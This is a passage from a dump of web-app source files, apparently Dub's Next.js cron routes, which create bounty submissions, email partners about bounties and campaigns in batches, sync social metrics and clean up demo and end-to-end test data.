partnerIds, page } = schema.parse(JSON.parse(rawBody));\n\n    // Find bounty\n    const bounty = await prisma.bounty.findUnique({\n      where: {\n        id: bountyId,\n      },\n      include: {\n        groups: true,\n        program: true,\n        workflow: true,\n      },\n    });\n\n    if (!bounty) {\n      return logAndRespond(`Bounty ${bountyId} not found.`, {\n        logLevel: \"error\",\n      });\n    }\n\n    let diffMinutes = differenceInMinutes(bounty.startsAt, new Date());\n\n    if (diffMinutes >= 10) {\n      return logAndRespond(\n        `Bounty ${bountyId} not started yet, it will start at ${bounty.startsAt.toISOString()}`,\n      );\n    }\n\n    if (bounty.type !== \"performance\") {\n      return logAndRespond(`Bounty ${bountyId} is not a performance bounty.`);\n    }\n\n    if (bounty.performanceScope === \"new\") {\n      return logAndRespond(\n        `Bounty ${bountyId} is limited to new stats; submission creation skipped.`,\n      );\n    }\n\n    if (!bounty.workflow) {\n      return logAndRespond(`Bounty ${bountyId} has no workflow.`);\n    }\n\n    // Find groupIds\n    const groupIds = bounty.groups.map(({ groupId }) => groupId);\n\n    // Find program enrollments\n    const programEnrollments = await prisma.programEnrollment.findMany({\n      where: {\n        programId: bounty.programId,\n        ...(groupIds.length > 0 && {\n          groupId: {\n            in: groupIds,\n          },\n        }),\n        ...(partnerIds && {\n          partnerId: {\n            in: partnerIds,\n          },\n        }),\n        status: {\n          in: [\"approved\", \"invited\"],\n        },\n      },\n      select: {\n        partnerId: true,\n        totalCommissions: true,\n        links: {\n          select: {\n            clicks: true,\n            sales: true,\n            leads: true,\n            conversions: true,\n            saleAmount: true,\n          },\n        },\n        partner: {\n          select: {\n            name: true,\n          },\n        },\n      },\n      orderBy: {\n        createdAt: \"asc\",\n      },\n      skip: page * MAX_PAGE_SIZE,\n      take: MAX_PAGE_SIZE,\n    });\n\n    if (programEnrollments.length === 0) {\n      return logAndRespond(\n        `No more program enrollments found for bounty ${bountyId}.`,\n      );\n    }\n\n    console.log(\n      `Found ${programEnrollments.length} program enrollments eligible for bounty ${bountyId}.`,\n    );\n\n    // Find the workflow condition\n    const condition = z\n      .array(workflowConditionSchema)\n      .parse(bounty.workflow.triggerConditions)[0];\n\n    // Partners with their link metrics\n    const partners = programEnrollments.map((programEnrollment) => {\n      return {\n        id: programEnrollment.partnerId,\n        ...aggregatePartnerLinksStats(programEnrollment.links),\n        totalCommissions: toCentsNumber(programEnrollment.totalCommissions),\n      };\n    });\n\n    const bountySubmissionsToCreate: Prisma.BountySubmissionCreateManyInput[] =\n      partners\n        // only create submissions for partners that have at least 1 performanceCount\n        .filter((partner) => partner[condition.attribute] > 0)\n        .map((partner) => {\n          const performanceCount = partner[condition.attribute];\n\n          const conditionMet = evaluateWorkflowConditions({\n            conditions: [condition],\n            attributes: {\n              [condition.attribute]: performanceCount,\n            },\n          });\n\n          return {\n            id: createId({ prefix: \"bnty_sub_\" }),\n            programId: bounty.programId,\n            partnerId: partner.id,\n            bountyId: bounty.id,\n            performanceCount,\n            // If the condition is met, automatically submit the submission\n            ...(conditionMet && {\n              status: \"submitted\",\n              completedAt: new Date(),\n            }),\n          };\n        });\n\n    console.table(bountySubmissionsToCreate);\n\n    // Create bounty submissions\n    const createdBountySubmissions = await prisma.bountySubmission.createMany({\n      data: bountySubmissionsToCreate,\n      skipDuplicates: true,\n    });\n\n    console.log(\n      `Created ${createdBountySubmissions.count} bounty submissions for bounty ${bountyId}.`,\n    );\n\n    if (programEnrollments.length === MAX_PAGE_SIZE) {\n      const response = await qstash.publishJSON({\n        url: `${APP_DOMAIN_WITH_NGROK}/api/cron/bounties/create-draft-submissions`,\n        body: {\n          bountyId,\n          partnerIds,\n          page: page + 1,\n        },\n      });\n\n      return logAndRespond(\n        `Enqueued next page (${page + 1}) for bounty ${bountyId}. ${JSON.stringify(response, null, 2)}`,\n      );\n    }\n\n    return logAndRespond(\n      `Finished creating submissions for ${createdBountySubmissions.count} partners for bounty ${bountyId}.`,\n    );\n  } catch (error) {\n    await log({\n      message: \"New bounties submissions cron failed. Error: \" + error.message,\n      type: \"errors\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/bounties/notify-partners/route.ts",
    "content": "import { createId } from \"@/lib/api/create-id\";\nimport { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { qstash } from \"@/lib/cron\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { ACTIVE_ENROLLMENT_STATUSES } from \"@/lib/zod/schemas/partners\";\nimport { sendBatchEmail } from \"@dub/email\";\nimport NewBountyAvailable from \"@dub/email/templates/new-bounty-available\";\nimport { prisma } from \"@dub/prisma\";\nimport { NotificationEmailType } from \"@dub/prisma/client\";\nimport { APP_DOMAIN_WITH_NGROK, log } from \"@dub/utils\";\nimport { differenceInMinutes } from \"date-fns\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst schema = z.object({\n  bountyId: z.string(),\n  startingAfter: z.string().optional(),\n  batchNumber: z\n    .number()\n    .optional()\n    .default(1)\n    .describe(\"Keep track of the batches sent.\"),\n});\n\nconst EMAIL_BATCH_SIZE = 100; // Batch size\nconst BATCH_DELAY_SECONDS = 2; // Delay between batches\nconst EXTENDED_DELAY_SECONDS = 30; // Extended delay after 25 batches\nconst EXTENDED_DELAY_INTERVAL = 25; // Number of batches after which to extend the delay\n\n// POST /api/cron/bounties/notify-partners\n// Send emails to eligible partners about new bounty that is published\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({\n      req,\n      rawBody,\n    });\n\n    let { bountyId, startingAfter, batchNumber } = schema.parse(\n      JSON.parse(rawBody),\n    );\n\n    // Find bounty\n    const bounty = await prisma.bounty.findUnique({\n      where: {\n        id: bountyId,\n      },\n      include: {\n        groups: true,\n        program: {\n          include: {\n            emailDomains: {\n              where: {\n                status: \"verified\",\n              },\n            },\n          },\n        },\n      },\n    });\n\n    if (!bounty) {\n      return logAndRespond(`Bounty ${bountyId} not found.`, {\n        logLevel: \"error\",\n      });\n    }\n\n    const diffMinutes = differenceInMinutes(bounty.startsAt, new Date());\n\n    if (diffMinutes >= 10) {\n      return logAndRespond(\n        `Bounty ${bountyId} not started yet, it will start at ${bounty.startsAt.toISOString()}`,\n      );\n    }\n\n    // Find groupIds\n    const groupIds = bounty.groups.map(({ groupId }) => groupId);\n    console.log(\n      `Bounty ${bountyId} is applicable to ${\n        groupIds.length === 0 ? \"all\" : groupIds.length\n      } groups (groupIds: ${JSON.stringify(groupIds)})`,\n    );\n\n    const programEnrollments = await prisma.programEnrollment.findMany({\n      where: {\n        programId: bounty.programId,\n        ...(groupIds.length > 0 && {\n          groupId: {\n            in: groupIds,\n          },\n        }),\n        status: {\n          in: ACTIVE_ENROLLMENT_STATUSES,\n        },\n        partner: {\n          email: {\n            not: null,\n          },\n          // only notify partners who have signed up for an account on partners.dub.co\n          users: {\n            some: {},\n          },\n        },\n      },\n      include: {\n        partner: {\n          include: {\n            users: {\n              take: 1, // TODO: update this to use partnerUsersToNotify approach\n            },\n          },\n        },\n      },\n      take: EMAIL_BATCH_SIZE,\n      skip: startingAfter ? 1 : 0,\n      ...(startingAfter && {\n        cursor: {\n          id: startingAfter,\n        },\n      }),\n      orderBy: {\n        id: \"asc\",\n      },\n    });\n\n    if (programEnrollments.length === 0) {\n      return logAndRespond(\n        `No more program enrollments found for bounty ${bountyId}.`,\n      );\n    }\n\n    console.log(\n      `Sending emails to ${programEnrollments.length} partners: ${programEnrollments.map(({ partner }) => partner.email).join(\", \")}`,\n    );\n\n    const { data } = await sendBatchEmail(\n      programEnrollments.map(({ partner }) => ({\n        variant: \"notifications\",\n        from:\n          bounty.program.emailDomains.length > 0\n            ? `${bounty.program.name} <bounties@${bounty.program.emailDomains[0].slug}>`\n            : undefined,\n        to: partner.email!, // coerce the type here because we've already filtered out partners with no email in the prisma query\n        subject: `New bounty available for ${bounty.program.name}`,\n        replyTo: bounty.program.supportEmail || \"noreply\",\n        react: NewBountyAvailable({\n          email: partner.email!,\n          bounty: {\n            id: bounty.id,\n            name: bounty.name,\n            type: bounty.type,\n            endsAt: bounty.endsAt,\n            description: bounty.description,\n          },\n          program: {\n            name: bounty.program.name,\n            slug: bounty.program.slug,\n          },\n        }),\n        tags: [{ name: \"type\", value: \"notification-email\" }],\n      })),\n      {\n        idempotencyKey: `bounty-notify/${bountyId}-${startingAfter || \"initial\"}`,\n      },\n    );\n\n    if (data) {\n      await prisma.notificationEmail.createMany({\n        data: programEnrollments.map(({ partner }, idx) => ({\n          id: createId({ prefix: \"em_\" }),\n          type: NotificationEmailType.Bounty,\n          emailId: data.data[idx].id,\n          bountyId: bounty.id,\n          programId: bounty.programId,\n          partnerId: partner.id,\n          recipientUserId: partner.users[0].userId, // TODO: update this to use partnerUsersToNotify approach\n        })),\n      });\n    }\n\n    if (programEnrollments.length === EMAIL_BATCH_SIZE) {\n      startingAfter = programEnrollments[programEnrollments.length - 1].id;\n\n      // Add BATCH_DELAY_SECONDS pause between each batch, and a longer EXTENDED_DELAY_SECONDS cooldown after every EXTENDED_DELAY_INTERVAL batches.\n      let delay = 0;\n      if (batchNumber > 0 && batchNumber % EXTENDED_DELAY_INTERVAL === 0) {\n        delay = EXTENDED_DELAY_SECONDS;\n      } else {\n        delay = BATCH_DELAY_SECONDS;\n      }\n\n      await qstash.publishJSON({\n        url: `${APP_DOMAIN_WITH_NGROK}/api/cron/bounties/notify-partners`,\n        method: \"POST\",\n        delay,\n        body: {\n          bountyId,\n          startingAfter,\n          batchNumber: batchNumber + 1,\n        },\n      });\n\n      return logAndRespond(\n        `Enqueued next batch (${startingAfter}) for bounty ${bountyId} to run after ${delay} seconds.`,\n      );\n    }\n\n    return logAndRespond(\n      `Finished sending emails to ${programEnrollments.length} partners for bounty ${bountyId}.`,\n    );\n  } catch (error) {\n    await log({\n      message: \"New bounties published cron failed. Error: \" + error.message,\n      type: \"errors\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/bounties/queue-sync-social-metrics/route.ts",
    "content": "import { enqueueBatchJobs } from \"@/lib/cron/enqueue-batch-jobs\";\nimport { withCron } from \"@/lib/cron/with-cron\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { logAndRespond } from \"../../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\n// GET /api/cron/bounties/queue-sync-social-metrics - queue social metrics sync for bounties\nexport const GET = withCron(async () => {\n  const now = new Date();\n\n  const bounties = await prisma.bounty.findMany({\n    where: {\n      type: \"submission\",\n      startsAt: {\n        lte: now,\n      },\n      OR: [\n        {\n          endsAt: null,\n        },\n        {\n          endsAt: {\n            gt: now,\n          },\n        },\n      ],\n      submissionRequirements: {\n        path: \"$.socialMetrics\",\n        not: Prisma.JsonNull,\n      },\n    },\n    select: {\n      id: true,\n      submissionRequirements: true,\n    },\n  });\n\n  if (bounties.length === 0) {\n    return logAndRespond(\"No bounties to sync social metrics for.\");\n  }\n\n  await enqueueBatchJobs(\n    bounties.map((bounty) => ({\n      queueName: \"sync-bounty-social-metrics\",\n      url: `${APP_DOMAIN_WITH_NGROK}/api/cron/bounties/sync-social-metrics`,\n      deduplicationId: bounty.id,\n      body: {\n        bountyId: bounty.id,\n      },\n    })),\n  );\n\n  return logAndRespond(\n    `Queued ${bounties.length} bounties to sync social metrics.`,\n  );\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/bounties/sync-social-metrics/route.ts",
    "content": "import { getSocialMetricsUpdates } from \"@/lib/bounty/api/get-social-metrics-updates\";\nimport { resolveBountyDetails } from \"@/lib/bounty/utils\";\nimport { qstash } from \"@/lib/cron\";\nimport { withCron } from \"@/lib/cron/with-cron\";\nimport { sendBatchEmail } from \"@dub/email\";\nimport BountyCompleted from \"@dub/email/templates/bounty-completed\";\nimport { prisma } from \"@dub/prisma\";\nimport { Partner, Prisma } from \"@dub/prisma/client\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst bodySchema = z.object({\n  bountyId: z.string(),\n  startingAfter: z\n    .string()\n    .optional()\n    .describe(\"The ID of the submission to start processing from.\"),\n});\n\nconst SUBMISSION_BATCH_SIZE = 50;\n\n// POST /api/cron/bounties/sync-social-metrics - sync social metrics for a bounty\nexport const POST = withCron(async ({ rawBody }) => {\n  const { bountyId, startingAfter } = bodySchema.parse(JSON.parse(rawBody));\n\n  const bounty = await prisma.bounty.findUnique({\n    where: {\n      id: bountyId,\n    },\n    include: {\n      program: true,\n    },\n  });\n\n  if (!bounty) {\n    return logAndRespond(`Bounty ${bountyId} not found. Skipping...`);\n  }\n\n  const now = new Date();\n\n  if (bounty.startsAt && bounty.startsAt > now) {\n    return logAndRespond(`Bounty ${bountyId} has not started yet. Skipping...`);\n  }\n\n  if (bounty.endsAt && bounty.endsAt < now) {\n    return logAndRespond(`Bounty ${bountyId} has ended. Skipping...`);\n  }\n\n  const bountyInfo = resolveBountyDetails(bounty);\n\n  if (!bountyInfo?.hasSocialMetrics) {\n    return logAndRespond(\n      `Bounty ${bountyId} has no social metrics requirements. Skipping...`,\n    );\n  }\n\n  const submissions = await prisma.bountySubmission.findMany({\n    where: {\n      bountyId,\n      status: {\n        // We only want to process submissions that are not rejected or approved.\n        notIn: [\"rejected\", \"approved\"],\n      },\n    },\n    select: {\n      id: true,\n      urls: true,\n      socialMetricCount: true,\n      status: true,\n      partner: {\n        select: {\n          email: true,\n        },\n      },\n    },\n    orderBy: {\n      id: \"asc\",\n    },\n    ...(startingAfter && {\n      skip: 1,\n      cursor: {\n        id: startingAfter,\n      },\n    }),\n    take: SUBMISSION_BATCH_SIZE,\n  });\n\n  if (submissions.length === 0) {\n    return logAndRespond(\n      `No submissions found for bounty ${bountyId}. Skipping...`,\n    );\n  }\n\n  const newMetrics = await getSocialMetricsUpdates({\n    bounty,\n    submissions,\n  });\n\n  const minCount = bountyInfo.socialMetrics?.minCount;\n\n  if (!minCount) {\n    return logAndRespond(\n      `Bounty ${bountyId} has no minimum social metrics count. Skipping...`,\n    );\n  }\n\n  const submissionById = new Map(submissions.map((s) => [s.id, s]));\n\n  const updates: Prisma.PrismaPromise<unknown>[] = [];\n  const notifications: Pick<Partner, \"email\">[] = [];\n\n  for (const {\n    id,\n    socialMetricCount,\n    socialMetricsLastSyncedAt,\n  } of newMetrics) {\n    const submission = submissionById.get(id);\n\n    if (!submission) {\n      continue;\n    }\n\n    const hasMetCriteria =\n      socialMetricCount != null && socialMetricCount >= minCount;\n\n    const shouldTransitionToSubmitted =\n      submission.status === \"draft\" && hasMetCriteria;\n\n    const updateData: Prisma.BountySubmissionUpdateInput = {\n      socialMetricCount,\n      socialMetricsLastSyncedAt,\n    };\n\n    if (shouldTransitionToSubmitted) {\n      updateData.status = \"submitted\";\n      updateData.completedAt = now;\n\n      if (submission.partner?.email) {\n        notifications.push({\n          email: submission.partner.email,\n        });\n      }\n    }\n\n    updates.push(\n      prisma.bountySubmission.update({\n        where: {\n          id,\n        },\n        data: updateData,\n      }),\n    );\n  }\n\n  await prisma.$transaction(updates);\n\n  if (notifications.length > 0 && bounty.program) {\n    await sendBatchEmail(\n      notifications.map(({ email }) => ({\n        subject: \"Bounty completed!\",\n        to: email!,\n        variant: \"notifications\",\n        replyTo: bounty.program.supportEmail || \"noreply\",\n        react: BountyCompleted({\n          email: email!,\n          bounty: {\n            name: bounty.name,\n            type: bounty.type,\n          },\n          program: {\n            name: bounty.program.name,\n            slug: bounty.program.slug,\n          },\n        }),\n      })),\n    );\n  }\n\n  if (submissions.length === SUBMISSION_BATCH_SIZE) {\n    const startingAfter = submissions[submissions.length - 1].id;\n\n    await qstash.publishJSON({\n      url: `${APP_DOMAIN_WITH_NGROK}/api/cron/bounties/sync-social-metrics`,\n      method: \"POST\",\n      body: {\n        bountyId,\n        startingAfter,\n      },\n    });\n\n    return logAndRespond(\n      `Synced ${updates.length} submissions for bounty ${bountyId}. Queued next batch (startingAfter: ${startingAfter}).`,\n    );\n  }\n\n  await prisma.bounty.update({\n    where: {\n      id: bountyId,\n    },\n    data: {\n      socialMetricsLastSyncedAt: new Date(),\n    },\n  });\n\n  return logAndRespond(\n    `Synced ${updates.length} submission(s) for bounty ${bountyId}.`,\n  );\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/campaigns/broadcast/route.ts",
    "content": "import { validateCampaignFromAddress } from \"@/lib/api/campaigns/validate-campaign\";\nimport { createId } from \"@/lib/api/create-id\";\nimport { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { renderCampaignEmailHTML } from \"@/lib/api/workflows/render-campaign-email-html\";\nimport { qstash } from \"@/lib/cron\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { TiptapNode } from \"@/lib/types\";\nimport { ACTIVE_ENROLLMENT_STATUSES } from \"@/lib/zod/schemas/partners\";\nimport { sendBatchEmail } from \"@dub/email\";\nimport CampaignEmail from \"@dub/email/templates/campaign-email\";\nimport { prisma } from \"@dub/prisma\";\nimport { NotificationEmailType } from \"@dub/prisma/client\";\nimport { APP_DOMAIN_WITH_NGROK, chunk, log } from \"@dub/utils\";\nimport { differenceInMinutes } from \"date-fns\";\nimport { headers } from \"next/headers\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst schema = z.object({\n  campaignId: z.string(),\n  startingAfter: z.string().optional(),\n  batchNumber: z\n    .number()\n    .optional()\n    .default(1)\n    .describe(\"Keep track of the batches sent.\"),\n});\n\nconst EMAIL_BATCH_SIZE = 100; // Batch size\nconst BATCH_DELAY_SECONDS = 2; // Delay between batches\nconst EXTENDED_DELAY_SECONDS = 30; // Extended delay after 25 batches\nconst EXTENDED_DELAY_INTERVAL = 25; // Number of batches after which to extend the delay\n\n// POST /api/cron/campaigns/broadcast\n// Send marketing campaigns to partners in batches\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({\n      req,\n      rawBody,\n    });\n\n    let { campaignId, startingAfter, batchNumber } = schema.parse(\n      JSON.parse(rawBody),\n    );\n\n    const campaign = await prisma.campaign.findUnique({\n      where: {\n        id: campaignId,\n      },\n      include: {\n        groups: true,\n        program: {\n          include: {\n            emailDomains: {\n              where: {\n                status: \"verified\",\n              },\n            },\n          },\n        },\n      },\n    });\n\n    if (!campaign) {\n      return logAndRespond(`Campaign ${campaignId} not found.`);\n    }\n\n    if (campaign.type !== \"marketing\") {\n      return logAndRespond(\n        `Campaign ${campaignId} is not a marketing campaign.`,\n      );\n    }\n\n    if (![\"scheduled\", \"sending\"].includes(campaign.status)) {\n      return logAndRespond(\n        `Campaign ${campaignId} must be in \"sending\" or \"scheduled\" status to broadcast.`,\n      );\n    }\n\n    // This is a safety check to ensure the campaign is not scheduled to broadcast too far in the future\n    // Ideally this should not happen but just in case\n    if (campaign.scheduledAt) {\n      const diffMinutes = differenceInMinutes(campaign.scheduledAt, new Date());\n\n      if (diffMinutes >= 5) {\n        await log({\n          message: `Campaign ${campaignId} broadcast was skipped because it is scheduled to broadcast in the future. This might be an error in the campaign scheduling.`,\n          type: \"errors\",\n        });\n\n        return logAndRespond(\n          `Campaign ${campaignId} is not scheduled to broadcast yet.`,\n        );\n      }\n    }\n\n    // This is a safety check to ensure the campaign broadcast is not \"initiated\" multiple times\n    const headersList = await headers();\n    const upstashMessageId = headersList.get(\"Upstash-Message-Id\");\n\n    if (\n      !startingAfter && // First run\n      campaign.qstashMessageId &&\n      upstashMessageId !== campaign.qstashMessageId\n    ) {\n      return logAndRespond(\n        `Campaign ${campaignId} broadcast was skipped because it is not the current message being processed.`,\n      );\n    }\n\n    const program = campaign.program;\n\n    // TODO: We should make the from address required. There are existing campaign without from address\n    if (campaign.from) {\n      validateCampaignFromAddress({\n        campaign,\n        emailDomains: program.emailDomains,\n      });\n    }\n\n    // Mark the campaign as sending\n    try {\n      await prisma.campaign.update({\n        where: {\n          id: campaignId,\n          status: \"scheduled\",\n        },\n        data: {\n          status: \"sending\",\n        },\n      });\n    } catch (error) {\n      //\n    }\n\n    const campaignGroupIds = campaign.groups.map(({ groupId }) => groupId);\n\n    const programEnrollments = await prisma.programEnrollment.findMany({\n      where: {\n        programId: campaign.programId,\n        status: {\n          in: ACTIVE_ENROLLMENT_STATUSES,\n        },\n        ...(campaignGroupIds.length > 0 && {\n          groupId: {\n            in: campaignGroupIds,\n          },\n        }),\n      },\n      select: {\n        id: true,\n        links: {\n          select: {\n            shortLink: true,\n          },\n          orderBy: { id: \"asc\" },\n        },\n        partner: {\n          select: {\n            id: true,\n            name: true,\n            email: true,\n            users: {\n              where: {\n                notificationPreferences: {\n                  marketingCampaign: true,\n                },\n              },\n              select: {\n                user: {\n                  select: {\n                    id: true,\n                    email: true,\n                  },\n                },\n              },\n            },\n          },\n        },\n      },\n      take: EMAIL_BATCH_SIZE,\n      skip: startingAfter ? 1 : 0,\n      ...(startingAfter && {\n        cursor: {\n          id: startingAfter,\n        },\n      }),\n      orderBy: {\n        id: \"asc\",\n      },\n    });\n\n    const partnerUsers = programEnrollments.flatMap((enrollment) =>\n      enrollment.partner.users\n        .filter(({ user }) => user.email)\n        .map(({ user }) => ({\n          ...user,\n          partner: {\n            ...enrollment.partner,\n            users: undefined,\n          },\n          enrollment: {\n            ...enrollment,\n            partner: undefined,\n          },\n        })),\n    );\n\n    console.table(\n      partnerUsers.map((partnerUser) => ({\n        id: partnerUser.partner.id,\n        name: partnerUser.partner.name,\n        email: partnerUser.email,\n      })),\n    );\n\n    if (partnerUsers.length > 0) {\n      // Chunk partnerUsers even though the DB query limits enrollments to EMAIL_BATCH_SIZE.\n      // Each enrollment can have multiple users (via partner.users), so the flattened\n      // partnerUsers array can exceed EMAIL_BATCH_SIZE.\n      const partnerUsersChunks = chunk(partnerUsers, EMAIL_BATCH_SIZE);\n\n      for (\n        let chunkIndex = 0;\n        chunkIndex < partnerUsersChunks.length;\n        chunkIndex++\n      ) {\n        const partnerUsersChunk = partnerUsersChunks[chunkIndex].filter(\n          (partnerUser) => partnerUser.email,\n        );\n        const batchIdentifier = startingAfter || \"initial\";\n        const idempotencyKey = `campaign-broadcast/${campaign.id}-${batchIdentifier}-${chunkIndex}`;\n\n        const { data, error } = await sendBatchEmail(\n          partnerUsersChunk.map((partnerUser) => ({\n            from: `${program.name} <${campaign.from}>`,\n            to: partnerUser.email!,\n            subject: campaign.subject,\n            ...(program.supportEmail ? { replyTo: program.supportEmail } : {}),\n            react: CampaignEmail({\n              program: {\n                name: program.name,\n                slug: program.slug,\n                logo: program.logo,\n              },\n              campaign: {\n                type: campaign.type,\n                preview: campaign.preview,\n                body: renderCampaignEmailHTML({\n                  content: campaign.bodyJson as unknown as TiptapNode,\n                  variables: {\n                    PartnerName: partnerUser.partner.name,\n                    PartnerEmail: partnerUser.partner.email,\n                    PartnerLink:\n                      partnerUser.enrollment.links?.[0]?.shortLink ?? null,\n                  },\n                }),\n              },\n            }),\n            tags: [{ name: \"type\", value: \"notification-email\" }],\n          })),\n          {\n            idempotencyKey,\n          },\n        );\n\n        if (error) {\n          console.error(error);\n        }\n\n        if (data) {\n          await prisma.notificationEmail.createMany({\n            data: partnerUsersChunk.map((partnerUser, idx) => ({\n              id: createId({ prefix: \"em_\" }),\n              type: NotificationEmailType.Campaign,\n              emailId: data.data[idx].id,\n              campaignId: campaign.id,\n              programId: campaign.programId,\n              partnerId: partnerUser.partner.id,\n              recipientUserId: partnerUser.id,\n            })),\n            skipDuplicates: true,\n          });\n        }\n      }\n    }\n\n    if (programEnrollments.length === EMAIL_BATCH_SIZE) {\n      startingAfter = programEnrollments[programEnrollments.length - 1].id;\n\n      // Add BATCH_DELAY_SECONDS pause between each batch, and a longer EXTENDED_DELAY_SECONDS cooldown after every EXTENDED_DELAY_INTERVAL batches.\n      let delay = 0;\n      if (batchNumber > 0 && batchNumber % EXTENDED_DELAY_INTERVAL === 0) {\n        delay = EXTENDED_DELAY_SECONDS;\n      } else {\n        delay = BATCH_DELAY_SECONDS;\n      }\n\n      await qstash.publishJSON({\n        url: `${APP_DOMAIN_WITH_NGROK}/api/cron/campaigns/broadcast`,\n        method: \"POST\",\n        delay,\n        body: {\n          campaignId,\n          startingAfter,\n          batchNumber: batchNumber + 1,\n        },\n      });\n\n      return logAndRespond(\n        `Enqueued next page (${startingAfter}) for campaign ${campaignId} to run after ${delay} seconds.`,\n      );\n    }\n\n    // Mark the campaign as sent\n    try {\n      await prisma.campaign.update({\n        where: {\n          id: campaignId,\n          status: \"sending\",\n        },\n        data: {\n          status: \"sent\",\n        },\n      });\n    } catch (error) {\n      //\n    }\n\n    return logAndRespond(`Finished broadcasting campaign ${campaignId}.`);\n  } catch (error) {\n    await log({\n      message: \"Campaign broadcast cron failed. Error: \" + error.message,\n      type: \"errors\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/cleanup/demo-embed-partners/route.ts",
    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { bulkDeletePartners } from \"@/lib/api/partners/bulk-delete-partners\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { prisma } from \"@dub/prisma\";\nimport { ACME_PROGRAM_ID, log } from \"@dub/utils\";\nimport { subHours } from \"date-fns\";\nimport { logAndRespond } from \"../../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\n// This route is used to remove partners from the demo embed (acme.dub.sh)\n// Runs every hour (0 * * * *)\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({\n      req,\n      rawBody,\n    });\n\n    const programEnrollmentsToDelete = await prisma.programEnrollment.findMany({\n      where: {\n        programId: ACME_PROGRAM_ID,\n        createdAt: {\n          lt: subHours(new Date(), 1), // 1 hour ago\n        },\n        NOT: [\n          {\n            partner: {\n              email: {\n                endsWith: \"@dub.co\",\n              },\n            },\n          },\n          {\n            partner: {\n              email: {\n                endsWith: \"@dub-internal-test.com\",\n              },\n            },\n          },\n          {\n            partner: {\n              email: {\n                in: [\n                  \"panic@thedis.co\",\n                  \"jasno@bourne.com\",\n                  \"michael@scofield.com\",\n                  \"steven@elegance.co\",\n                  \"mailtokirankk@gmail.com\",\n                  \"marcusljf@gmail.com\",\n                  \"tim@twilson.net\",\n                ],\n              },\n            },\n          },\n        ],\n      },\n      orderBy: {\n        totalCommissions: \"desc\",\n      },\n    });\n\n    console.log(\n      `Found ${programEnrollmentsToDelete.length} program enrollments to delete.`,\n    );\n\n    if (programEnrollmentsToDelete.length > 0) {\n      await bulkDeletePartners({\n        partnerIds: programEnrollmentsToDelete.map((pe) => pe.partnerId),\n      });\n    }\n\n    return logAndRespond(\n      `Removed ${programEnrollmentsToDelete.length} program enrollments from the demo embed.`,\n    );\n  } catch (error) {\n    await log({\n      message: `/api/cron/cleanup/demo-embed-partners failed - ${error.message}`,\n      type: \"errors\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/cleanup/e2e-tests/route.ts",
    "content": "import { markDomainAsDeleted } from \"@/lib/api/domains/mark-domain-deleted\";\nimport { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { bulkDeleteLinks } from \"@/lib/api/links/bulk-delete-links\";\nimport { includeProgramEnrollment } from \"@/lib/api/links/include-program-enrollment\";\nimport { includeTags } from \"@/lib/api/links/include-tags\";\nimport { bulkDeletePartners } from \"@/lib/api/partners/bulk-delete-partners\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { prisma } from \"@dub/prisma\";\nimport { log } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst E2E_USER_ID = \"clxz1q7c7000hbqx5ckv4r82h\";\nconst E2E_WORKSPACE_ID = \"clrei1gld0002vs9mzn93p8ik\";\n\n// This route is used to remove links, domains and tags created during our E2E tests.\n// Runs every 6 hours (0 * / 6 * * *)\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({\n      req,\n      rawBody,\n    });\n\n    const oneDayAgo = new Date(Date.now() - 1000 * 60 * 60 * 24);\n\n    const [links, domains, tags, partners, users] = await Promise.all([\n      prisma.link.findMany({\n        where: {\n          userId: E2E_USER_ID,\n          projectId: E2E_WORKSPACE_ID,\n          createdAt: {\n            lt: oneDayAgo,\n          },\n        },\n        include: {\n          ...includeTags,\n          ...includeProgramEnrollment,\n          discountCode: true,\n        },\n        take: 100,\n      }),\n\n      prisma.domain.findMany({\n        where: {\n          projectId: E2E_WORKSPACE_ID,\n          slug: {\n            endsWith: \".dub-internal-test.com\",\n          },\n          createdAt: {\n            lt: oneDayAgo,\n          },\n        },\n        select: {\n          slug: true,\n        },\n      }),\n\n      prisma.tag.findMany({\n        where: {\n          projectId: E2E_WORKSPACE_ID,\n          name: {\n            startsWith: \"e2e-\",\n          },\n          createdAt: {\n            lt: oneDayAgo,\n          },\n        },\n      }),\n\n      prisma.partner.findMany({\n        where: {\n          email: {\n            endsWith: \"@dub-internal-test.com\",\n          },\n          createdAt: {\n            lt: oneDayAgo,\n          },\n        },\n        select: {\n          id: true,\n        },\n      }),\n\n      